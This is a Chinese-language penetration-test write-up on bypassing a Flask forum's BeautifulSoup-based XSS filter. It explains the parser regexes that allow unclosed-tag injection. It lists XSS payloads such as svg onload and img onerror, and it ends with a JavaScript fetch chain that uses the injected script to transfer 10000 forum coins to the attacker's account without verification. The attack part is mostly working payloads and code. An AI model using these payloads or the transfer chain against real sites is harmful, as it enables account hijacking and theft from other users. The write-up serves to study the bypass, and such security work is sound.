Background
在一次测试中,在git中找到部分的源码,发现可能存在xss问题,但是经过了一点处理,于是经过探寻思考,找到了bypass的方法,写下本篇文章
Part.1 从git到混淆
server头看见这个配置 基本是flask了,而且也能确定是python,把前端部分源码放在github搜一下找到了部分代码
看到如下的混淆
上网找了找相关混淆资料
https://pyob.oxyry.com/
发现有在线解混淆的网站 最后我定位了一处核心代码在这里
def check_xss(smeo_text):
soup = BeautifulSoup(smeo_text, "html.parser")
tags_found = soup.find_all()
return bool(tags_found)
我注意到这里他的xss处理其实很草率,用BeautifulSoup来过一遍论坛的文本内容,只进行了tag的匹配,并没有做诸如实体化编码类型的过滤,所以我觉得是有问题的
Part.2 探寻BeautifulSoup的html.parser
首先我手搓了一个demo
from bs4 import BeautifulSoup
# 示例的 HTML 文档
html_doc = """
<html>
<head><title>Example</title></head>
<body>
<p class="title"><b>The Dormouse's story</b></p>
<p class="story">Once upon a time there were three little sisters; and their names were
<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>,
<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and
<a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>;
and they lived at the bottom of a well.</p>
<p class="story">...</p>
"""
# 使用 BeautifulSoup 解析 HTML
soup = BeautifulSoup(html_doc, 'html.parser')
# 找到所有的标签并打印它们的名称
tags = soup.find_all()
for tag in tags:
print(tag.name)
在这里我简单思考了下他的匹配标签的标准 一个是把关键字 常见的进行提取,第二种就是基于<>一个完整的标签为整体 提取里面的内容
翻了下beautifulsoup的html.parser代码
interesting_normal = re.compile('[&<]')
incomplete = re.compile('&[a-zA-Z#]')
entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]')
charref = re.compile('&#(?:[0-9]+|[xX][0-9a-fA-F]+)[^0-9a-fA-F]')
starttagopen = re.compile('<[a-zA-Z]')
piclose = re.compile('>')
commentclose = re.compile(r'--\s*>')
tagfind_tolerant = re.compile(r'([a-zA-Z][^\t\n\r\f />\x00]*)(?:\s|/(?!>))*')
attrfind_tolerant = re.compile(
r'((?<=[\'"\s/])[^\s/>][^\s/=>]*)(\s*=+\s*'
r'(\'[^\']*\'|"[^"]*"|(?![\'"])[^>\s]*))?(?:\s|/(?!>))*')
locatestarttagend_tolerant = re.compile(r"""
<[a-zA-Z][^\t\n\r\f />\x00]* # tag name
(?:[\s/]* # optional whitespace before attribute name
(?:(?<=['"\s/])[^\s/>][^\s/=>]* # attribute name
(?:\s*=+\s* # value indicator
(?:'[^']*' # LITA-enclosed value
|"[^"]*" # LIT-enclosed value
|(?!['"])[^>\s]* # bare value
)
\s* # possibly followed by a space
)?(?:\s|/(?!>))*
)*
)?
\s* # trailing whitespace
""", re.VERBOSE)
endendtag = re.compile('>')
# the HTML 5 spec, section 8.1.2.2, doesn't allow spaces between
# </ and the tag name, so maybe this should be fixed
endtagfind = re.compile(r'</\s*([a-zA-Z][-.a-zA-Z0-9:_]*)\s*>')
可以看到他的匹配方式是我们想到的第二种 也就是我们不希望有>出现,而且一些常见的<script>
这种需要成对出现的标签已经被否定了,我们需要探寻单标签
Part.3 xss利用
到这里其实能找到很多不需要成对的poc
<body/onload=alert(1)>
<svg/onload=alert(1)>
<iframe/onload=alert(1)>
<img src=1 onerror=alert(1)>
而且因为html其实是比较松散的,如果不带> 其实也是可以的 比如我们创建如下的代码
其实是会被弹窗的,在浏览器里你提取<img标签的内容其实是
<img src="1" onerror="alert(1)" <="" body="">
这个原因是因为 </body>
的>关闭了标签 实际上也就不存在 </body>
标签 而是你在 svg
标签中有一个 </body
属性 而且浏览器机制也会帮你补一个新的</body>
标签 所以如果你没有这些完整的html机构 单纯的<img src=1 onerror=alert(1)是不能用的
去真实环境尝试了下 发现果真如思考的一样 但是没弹窗 因为后面的</p语法错误了 我们注释掉即可
发现是可以直接弹窗的
Part4. 扩大危害
前面埋了个伏笔 是一个flask程序,他配置的很好所以我们偷cookies可能作用不是特别大了,于是开始思考有没有什么其他的思路
代码里面还暴露了一个路由转指定论坛的币 经过测试我发现他的转钱如果从自己的个人主页跳转到/transfer路由就不要求验证
那我就可以构造js使用then 构造一个chain来转给我本身
fetch('/page', { method: 'GET' })
.then(function() {
return fetch('/transfer', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'money=10000&transfer_id=21e3e7f6210'
});
})
.then(function() {
window.location.href = '/forum';
});